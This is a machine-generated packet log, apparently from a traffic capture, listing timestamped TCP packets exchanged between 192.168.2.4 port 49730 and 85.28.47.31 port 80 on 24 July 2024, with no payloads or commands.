Jul 24, 2024 02:39:04.622803926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622821093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622853994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622862101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622886896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622888088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622915983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622920036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622931004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622956038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.622965097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.622989893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623014927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623025894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623039961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623071909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623308897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623342037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623349905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623374939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623383999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623408079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623450041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623471975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623600960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623634100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623661041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623665094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623678923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623698950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623709917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623733044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623744011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623764992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623792887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623796940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623812914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623830080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623836994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623862028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.623867035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.623908997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.632831097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.632955074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.632972002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.632987976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.632997990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633035898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633038998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633073092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633080959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633105040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633114100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633137941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633146048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633183002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633186102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633219957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633229971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633253098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633277893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633286953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633296013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633320093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633332968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633387089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633399010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633431911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633439064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633466959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633476019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633493900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633514881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633533001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633574009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633605957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633615017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633637905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633650064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633672953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633678913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633717060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633790970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633821964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633853912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633862972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633862972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633886099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633896112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633920908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633924961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633953094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.633961916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.633996964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634016037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634053946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634119987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634152889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634156942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634186029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634196997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634219885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634231091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634253025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634254932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634285927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634298086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634322882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634429932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634462118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634474039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634495020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634506941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634529114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634537935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634560108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.634573936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.634598017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.703988075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704006910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704022884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704178095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704178095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704308033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704329967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704345942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704360962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704376936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704391003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704406023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704421043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704436064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704459906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704510927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704510927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704510927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704510927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704511881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704511881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704511881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.704529047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.704619884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.715708971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.715878010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716129065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716150999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716166019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716181040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716196060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716219902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716234922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716250896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716269970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716303110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716327906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716327906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716327906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716327906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716336012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716329098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716329098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716329098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716367960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716401100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716418028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716418028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716418028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716433048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716449022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716494083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716512918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716550112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716564894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716583967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716599941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716624975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716638088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716671944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716680050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716707945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716726065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716758013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716799021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716833115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716840982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716866970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716882944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716901064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716907978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716934919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716944933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.716968060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.716975927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717000961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717010021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717046022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717207909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717242002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717255116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717276096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717281103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717308044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717319012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717340946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717350960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717374086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717381954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717406034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717415094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717438936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717446089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717473030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717484951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717506886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717514038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717549086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717726946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717761993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717786074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717797041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717811108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717830896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717839956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717866898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717880964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717910051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717924118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717957973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.717966080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.717991114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718002081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718039989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718050003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718074083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718087912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718106985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718118906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718147039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718151093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718179941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718194008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718214989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718228102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718247890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718260050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718281984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718291998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718318939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718327999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718348980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718373060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718390942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718620062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718652964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718692064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718712091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718765020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718797922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718811989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718831062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718837976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718864918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718874931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718899012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718909025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718930960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718949080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718965054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.718972921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.718997955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.719002962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.719031096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.719041109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.719065905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.719074011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.719099998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.719110966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.719134092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.719142914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.719176054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.727466106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.727576017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.727874994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.727926016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.727958918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.727993011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728027105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728044987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728045940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728045940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728045940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728076935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728111029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728125095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728125095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728147030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728154898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728180885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728212118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728226900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728233099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728266001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728274107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728301048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728305101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728334904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728344917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728368998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728375912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728420019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728429079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728454113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728466988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728498936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728506088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728543043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728552103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728600025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728611946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728637934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728643894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728669882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728681087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728703976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728713989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728738070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728750944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728771925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728784084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728805065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728813887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728841066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728847027 CEST	49730	80	192.168.2.4	85.28.47.31
